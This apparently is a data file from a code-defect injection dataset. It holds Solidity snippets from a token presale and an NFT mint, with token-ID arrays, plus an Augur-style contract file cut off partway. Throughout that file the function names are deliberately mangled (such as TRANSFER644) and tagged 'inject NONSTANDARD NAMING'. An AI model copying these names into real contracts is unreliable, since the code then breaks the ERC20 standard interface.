return IERC20(RNTokens).balanceOf(address(this));
}
/**
* @dev Returnnumber of MATIC Tokens in this contract
*/
function getMaticBalance() public view returns (uint) {
return address(this).balance;
}
/**
* @dev allows admin to withdraw MATIC Tokens.
*/
function withdrawMatic() public {
require ( msg.sender == admin, "Only admin callable function");
admin.transfer(getMaticBalance());
}
/**
* @dev allows admin to withdraw RN Tokens.
*/
function withdrawRN() public {
require ( msg.sender == admin, "Only admin callable function");
IERC20(RNTokens).transfer(admin, getRNBalance());
}
}
| * @dev Allows account to Book Tokens and lock them for 8 months/ | function publicSale1() public payable {
require( isPublicSale1==true, "Public Sale 1 is closed");
require( msg.value>=50*(10**18) && msg.value<=7500*(10**18), "You can buy a minimum of tokens worth 50 Matic and maximum of 7500 Matic" );
uint256 noOfTokens = rnTokenPerMatic*(msg.value);
saleBalances[msg.sender].publicSalebalance1 = saleBalances[msg.sender].publicSalebalance1.add(noOfTokens);
saleBalances[msg.sender].publicSaleWithdrawDate1 = block.timestamp + 240 days;
}
| 5,427,828 | [
1,
19132,
2236,
358,
20258,
13899,
471,
2176,
2182,
364,
1725,
8846,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1071,
30746,
21,
1435,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
19620,
30746,
21,
631,
3767,
16,
315,
4782,
348,
5349,
404,
353,
4375,
8863,
203,
3639,
2583,
12,
1234,
18,
1132,
34,
33,
3361,
21556,
2163,
636,
2643,
13,
597,
1234,
18,
1132,
32,
33,
5877,
713,
21556,
2163,
636,
2643,
3631,
315,
6225,
848,
30143,
279,
5224,
434,
2430,
26247,
6437,
490,
2126,
471,
4207,
434,
2371,
12483,
490,
2126,
6,
11272,
203,
3639,
2254,
5034,
1158,
951,
5157,
273,
20594,
1345,
2173,
49,
2126,
21556,
3576,
18,
1132,
1769,
203,
3639,
272,
5349,
38,
26488,
63,
3576,
18,
15330,
8009,
482,
30746,
12296,
21,
273,
272,
5349,
38,
26488,
63,
3576,
18,
15330,
8009,
482,
30746,
12296,
21,
18,
1289,
12,
2135,
951,
5157,
1769,
203,
3639,
272,
5349,
38,
26488,
63,
3576,
18,
15330,
8009,
482,
30746,
1190,
9446,
1626,
21,
273,
1203,
18,
5508,
397,
27610,
4681,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1ECFDCcf97EdD64Fb73890Ca4541f306456A21eC/sources/Metarelics.sol | mint function for the 2nd wave of sales. Only selected addresses via raffle will be allowed to mint. Raffle winners are allowed one extra mint. Owner can also only mint 1. Owner should always invoke presaleMint for minting multiple. Call will fail if the contract is paused, if funds are insufficient, if the address invoking SecondaryMint is not eligible to mint, or if an eligible address has already successfully minted using the secondaryMint. | function secondaryMint()
public
payable
nonReentrant
{
uint256 supply = totalSupply();
requireChecks(1);
if (msg.sender != owner()) {
require(msg.value >= cost, "insufficient funds");
require(secondMintWinners[msg.sender] == true);
require(isSecondSale == true, "2nd sale wave not on");
require(
addressMintedBalance[msg.sender] == 0,
"max NFT per address exceeded"
);
}
_safeMint(msg.sender, supply + 1);
addressMintedBalance[msg.sender]++;
}
| 3,544,585 | [
1,
81,
474,
445,
364,
326,
576,
4880,
10794,
434,
272,
5408,
18,
5098,
3170,
6138,
3970,
767,
1403,
298,
903,
506,
2935,
358,
312,
474,
18,
534,
7329,
298,
5657,
9646,
854,
2935,
1245,
2870,
312,
474,
18,
16837,
848,
2546,
1338,
312,
474,
404,
18,
16837,
1410,
3712,
4356,
4075,
5349,
49,
474,
364,
312,
474,
310,
3229,
18,
3049,
903,
2321,
309,
326,
6835,
353,
17781,
16,
309,
284,
19156,
854,
2763,
11339,
16,
309,
326,
1758,
15387,
30983,
49,
474,
353,
486,
21351,
358,
312,
474,
16,
578,
309,
392,
21351,
1758,
711,
1818,
4985,
312,
474,
329,
1450,
326,
9946,
49,
474,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
9946,
49,
474,
1435,
203,
202,
202,
482,
203,
202,
202,
10239,
429,
203,
3639,
1661,
426,
8230,
970,
203,
202,
95,
203,
202,
202,
11890,
5034,
14467,
273,
2078,
3088,
1283,
5621,
203,
3639,
2583,
4081,
12,
21,
1769,
203,
202,
202,
430,
261,
3576,
18,
15330,
480,
3410,
10756,
288,
203,
1082,
202,
6528,
12,
3576,
18,
1132,
1545,
6991,
16,
315,
2679,
11339,
284,
19156,
8863,
203,
1082,
202,
6528,
12,
8538,
49,
474,
18049,
9646,
63,
3576,
18,
15330,
65,
422,
638,
1769,
7010,
1082,
202,
6528,
12,
291,
8211,
30746,
422,
638,
16,
315,
22,
4880,
272,
5349,
10794,
486,
603,
8863,
203,
1082,
202,
6528,
12,
203,
9506,
202,
2867,
49,
474,
329,
13937,
63,
3576,
18,
15330,
65,
422,
374,
16,
203,
9506,
202,
6,
1896,
423,
4464,
1534,
1758,
12428,
6,
203,
1082,
202,
1769,
203,
202,
202,
97,
203,
203,
202,
202,
67,
4626,
49,
474,
12,
3576,
18,
15330,
16,
14467,
397,
404,
1769,
203,
202,
202,
2867,
49,
474,
329,
13937,
63,
3576,
18,
15330,
3737,
15,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.15;
contract IAugur {
function CREATECHILDUNIVERSE712(bytes32 _parentPayoutDistributionHash, uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING
function ISKNOWNUNIVERSE698(IUniverse _universe) public view returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDCASHTRANSFER967(address _from, address _to, uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function ISTRUSTEDSENDER635(address _address) public returns (bool); //inject NONSTANDARD NAMING
function ONCATEGORICALMARKETCREATED679(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, bytes32[] memory _outcomes) public returns (bool); //inject NONSTANDARD NAMING
function ONYESNOMARKETCREATED215(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash) public returns (bool); //inject NONSTANDARD NAMING
function ONSCALARMARKETCREATED844(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, int256[] memory _prices, uint256 _numTicks) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTSUBMITTED874(IUniverse _universe, address _reporter, address _market, address _initialReporter, uint256 _amountStaked, bool _isDesignatedReporter, uint256[] memory _payoutNumerators, string memory _description, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime) public returns (bool); //inject NONSTANDARD NAMING
function DISPUTECROWDSOURCERCREATED646(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _size, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERCONTRIBUTION255(IUniverse _universe, address _reporter, address _market, address _disputeCrowdsourcer, uint256 _amountStaked, string memory description, uint256[] memory _payoutNumerators, uint256 _currentStake, uint256 _stakeRemaining, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERCOMPLETED546(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime, bool _pacingOn, uint256 _totalRepStakedInPayout, uint256 _totalRepStakedInMarket, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTERREDEEMED338(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERREDEEMED9(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETFINALIZED368(IUniverse _universe, uint256[] memory _winningPayoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETMIGRATED444(IMarket _market, IUniverse _originalUniverse) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPORTINGPARTICIPANTDISAVOWED43(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETPARTICIPANTSDISAVOWED537(IUniverse _universe) public returns (bool); //inject NONSTANDARD NAMING
function LOGCOMPLETESETSPURCHASED486(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets) public returns (bool); //inject NONSTANDARD NAMING
function LOGCOMPLETESETSSOLD144(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETOICHANGED928(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function LOGTRADINGPROCEEDSCLAIMED757(IUniverse _universe, address _sender, address _market, uint256 _outcome, uint256 _numShares, uint256 _numPayoutTokens, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING
function LOGUNIVERSEFORKED116(IMarket _forkingMarket) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSTRANSFERRED904(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSBURNED995(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSMINTED985(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGSHARETOKENSBALANCECHANGED123(address _account, IMarket _market, uint256 _outcome, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSTRANSFERRED932(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSBURNED518(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSMINTED48(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTEWINDOWCREATED79(IDisputeWindow _disputeWindow, uint256 _id, bool _initial) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSREDEEMED534(IUniverse universe, address _sender, uint256 _attoParticipationTokens, uint256 _feePayoutShare) public returns (bool); //inject NONSTANDARD NAMING
function LOGTIMESTAMPSET762(uint256 _newTimestamp) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTERTRANSFERRED573(IUniverse _universe, IMarket _market, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETTRANSFERRED247(IUniverse _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSTRANSFERRED386(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSBURNED957(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSMINTED248(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETREPBONDTRANSFERRED31(address _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGWARPSYNCDATAUPDATED845(address _universe, uint256 _warpSyncHash, uint256 _marketEndTime) public returns (bool); //inject NONSTANDARD NAMING
function ISKNOWNFEESENDER211(address _feeSender) public view returns (bool); //inject NONSTANDARD NAMING
function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING
function GETTIMESTAMP626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETMAXIMUMMARKETENDDATE626() public returns (uint256); //inject NONSTANDARD NAMING
function ISKNOWNMARKET166(IMarket _market) public view returns (bool); //inject NONSTANDARD NAMING
function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators, uint256 _numTicks, uint256 numOutcomes) public view returns (bytes32); //inject NONSTANDARD NAMING
function LOGVALIDITYBONDCHANGED992(uint256 _validityBond) public returns (bool); //inject NONSTANDARD NAMING
function LOGDESIGNATEDREPORTSTAKECHANGED748(uint256 _designatedReportStake) public returns (bool); //inject NONSTANDARD NAMING
function LOGNOSHOWBONDCHANGED254(uint256 _noShowBond) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPORTINGFEECHANGED596(uint256 _reportingFee) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSEFORKINDEX548(IUniverse _universe) public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IOwnable {
function GETOWNER826() public view returns (address); //inject NONSTANDARD NAMING
function TRANSFEROWNERSHIP284(address _newOwner) public returns (bool); //inject NONSTANDARD NAMING
}
contract ITyped {
function GETTYPENAME153() public view returns (bytes32); //inject NONSTANDARD NAMING
}
library SafeMathUint256 {
function MUL760(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV647(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB692(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
return a - b;
}
function ADD571(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MIN885(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a <= b) {
return a;
} else {
return b;
}
}
function MAX990(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a >= b) {
return a;
} else {
return b;
}
}
function SQRT858(uint256 y) internal pure returns (uint256 z) { //inject NONSTANDARD NAMING
if (y > 3) {
uint256 x = (y + 1) / 2;
z = y;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function GETUINT256MIN331() internal pure returns (uint256) { //inject NONSTANDARD NAMING
return 0;
}
function GETUINT256MAX467() internal pure returns (uint256) { //inject NONSTANDARD NAMING
// 2 ** 256 - 1
return 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
function ISMULTIPLEOF540(uint256 a, uint256 b) internal pure returns (bool) { //inject NONSTANDARD NAMING
return a % b == 0;
}
// Float [fixed point] Operations
function FXPMUL102(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV647(MUL760(a, b), base);
}
function FXPDIV922(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV647(MUL760(a, base), b);
}
}
interface IERC1155 {
event TRANSFERSINGLE49( //inject NONSTANDARD NAMING
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
event TRANSFERBATCH882( //inject NONSTANDARD NAMING
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
event APPROVALFORALL731( //inject NONSTANDARD NAMING
address indexed owner,
address indexed operator,
bool approved
);
event URI998( //inject NONSTANDARD NAMING
string value,
uint256 indexed id
);
function SAFETRANSFERFROM689( //inject NONSTANDARD NAMING
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
external;
function SAFEBATCHTRANSFERFROM779( //inject NONSTANDARD NAMING
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external;
function SETAPPROVALFORALL494(address operator, bool approved) external; //inject NONSTANDARD NAMING
function ISAPPROVEDFORALL901(address owner, address operator) external view returns (bool); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner, uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING
function TOTALSUPPLY304(uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOFBATCH918( //inject NONSTANDARD NAMING
address[] calldata owners,
uint256[] calldata ids
)
external
view
returns (uint256[] memory balances_);
}
contract IERC20 {
function TOTALSUPPLY304() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner) public view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER644(address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM669(address from, address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function APPROVE293(address spender, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE377(address owner, address spender) public view returns (uint256); //inject NONSTANDARD NAMING
// solhint-disable-next-line no-simple-event-func-name
event TRANSFER723(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL665(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract ICash is IERC20 {
}
contract ERC20 is IERC20 {
using SafeMathUint256 for uint256;
uint8 constant public decimals866 = 18; //inject NONSTANDARD NAMING
uint256 public totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
function BALANCEOF492(address _account) public view returns (uint256) { //inject NONSTANDARD NAMING
return balances[_account];
}
function TRANSFER644(address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER433(msg.sender, _recipient, _amount);
return true;
}
function ALLOWANCE377(address _owner, address _spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return allowances[_owner][_spender];
}
function APPROVE293(address _spender, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, _amount);
return true;
}
function TRANSFERFROM669(address _sender, address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER433(_sender, _recipient, _amount);
_APPROVE571(_sender, msg.sender, allowances[_sender][msg.sender].SUB692(_amount));
return true;
}
function INCREASEALLOWANCE307(address _spender, uint256 _addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].ADD571(_addedValue));
return true;
}
function DECREASEALLOWANCE757(address _spender, uint256 _subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].SUB692(_subtractedValue));
return true;
}
function _TRANSFER433(address _sender, address _recipient, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
balances[_sender] = balances[_sender].SUB692(_amount);
balances[_recipient] = balances[_recipient].ADD571(_amount);
emit TRANSFER723(_sender, _recipient, _amount);
ONTOKENTRANSFER292(_sender, _recipient, _amount);
}
function _MINT880(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.ADD571(_amount);
balances[_account] = balances[_account].ADD571(_amount);
emit TRANSFER723(address(0), _account, _amount);
}
function _BURN356(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_account != address(0), "ERC20: burn from the zero address");
balances[_account] = balances[_account].SUB692(_amount);
totalSupply = totalSupply.SUB692(_amount);
emit TRANSFER723(_account, address(0), _amount);
}
function _APPROVE571(address _owner, address _spender, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit APPROVAL665(_owner, _spender, _amount);
}
function _BURNFROM317(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
_BURN356(_account, _amount);
_APPROVE571(_account, msg.sender, allowances[_account][msg.sender].SUB692(_amount));
}
// Subclasses of this token generally want to send additional logs through the centralized Augur log emitter contract
function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal; //inject NONSTANDARD NAMING
}
contract VariableSupplyToken is ERC20 {
using SafeMathUint256 for uint256;
function MINT146(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
_MINT880(_target, _amount);
ONMINT315(_target, _amount);
return true;
}
function BURN234(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
_BURN356(_target, _amount);
ONBURN653(_target, _amount);
return true;
}
// Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract
function ONMINT315(address, uint256) internal { //inject NONSTANDARD NAMING
}
// Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract
function ONBURN653(address, uint256) internal { //inject NONSTANDARD NAMING
}
}
contract IAffiliateValidator {
function VALIDATEREFERENCE609(address _account, address _referrer) external view returns (bool); //inject NONSTANDARD NAMING
}
contract IDisputeWindow is ITyped, IERC20 {
function INVALIDMARKETSTOTAL511() external view returns (uint256); //inject NONSTANDARD NAMING
function VALIDITYBONDTOTAL28() external view returns (uint256); //inject NONSTANDARD NAMING
function INCORRECTDESIGNATEDREPORTTOTAL522() external view returns (uint256); //inject NONSTANDARD NAMING
function INITIALREPORTBONDTOTAL695() external view returns (uint256); //inject NONSTANDARD NAMING
function DESIGNATEDREPORTNOSHOWSTOTAL443() external view returns (uint256); //inject NONSTANDARD NAMING
function DESIGNATEDREPORTERNOSHOWBONDTOTAL703() external view returns (uint256); //inject NONSTANDARD NAMING
function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _disputeWindowId, bool _participationTokensEnabled, uint256 _duration, uint256 _startTime) public; //inject NONSTANDARD NAMING
function TRUSTEDBUY954(address _buyer, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IReputationToken); //inject NONSTANDARD NAMING
function GETSTARTTIME383() public view returns (uint256); //inject NONSTANDARD NAMING
function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINDOWID901() public view returns (uint256); //inject NONSTANDARD NAMING
function ISACTIVE720() public view returns (bool); //inject NONSTANDARD NAMING
function ISOVER108() public view returns (bool); //inject NONSTANDARD NAMING
function ONMARKETFINALIZED596() public; //inject NONSTANDARD NAMING
function REDEEM559(address _account) public returns (bool); //inject NONSTANDARD NAMING
}
contract IMarket is IOwnable {
enum MarketType {
YES_NO,
CATEGORICAL,
SCALAR
}
function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, address _creator, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING
function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators) public view returns (bytes32); //inject NONSTANDARD NAMING
function DOINITIALREPORT448(uint256[] memory _payoutNumerators, string memory _description, uint256 _additionalStake) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETDISPUTEWINDOW804() public view returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETNUMBEROFOUTCOMES636() public view returns (uint256); //inject NONSTANDARD NAMING
function GETNUMTICKS752() public view returns (uint256); //inject NONSTANDARD NAMING
function GETMARKETCREATORSETTLEMENTFEEDIVISOR51() public view returns (uint256); //inject NONSTANDARD NAMING
function GETFORKINGMARKET637() public view returns (IMarket _market); //inject NONSTANDARD NAMING
function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGPAYOUTDISTRIBUTIONHASH916() public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWINNINGPAYOUTNUMERATOR375(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGREPORTINGPARTICIPANT424() public view returns (IReportingParticipant); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING
function GETFINALIZATIONTIME347() public view returns (uint256); //inject NONSTANDARD NAMING
function GETINITIALREPORTER212() public view returns (IInitialReporter); //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTINGENDTIME834() public view returns (uint256); //inject NONSTANDARD NAMING
function GETVALIDITYBONDATTOCASH123() public view returns (uint256); //inject NONSTANDARD NAMING
function AFFILIATEFEEDIVISOR322() external view returns (uint256); //inject NONSTANDARD NAMING
function GETNUMPARTICIPANTS137() public view returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTEPACINGON415() public view returns (bool); //inject NONSTANDARD NAMING
function DERIVEMARKETCREATORFEEAMOUNT558(uint256 _amount) public view returns (uint256); //inject NONSTANDARD NAMING
function RECORDMARKETCREATORFEES738(uint256 _marketCreatorFees, address _sourceAccount, bytes32 _fingerprint) public returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING
function ISFINALIZEDASINVALID362() public view returns (bool); //inject NONSTANDARD NAMING
function FINALIZE310() public returns (bool); //inject NONSTANDARD NAMING
function ISFINALIZED623() public view returns (bool); //inject NONSTANDARD NAMING
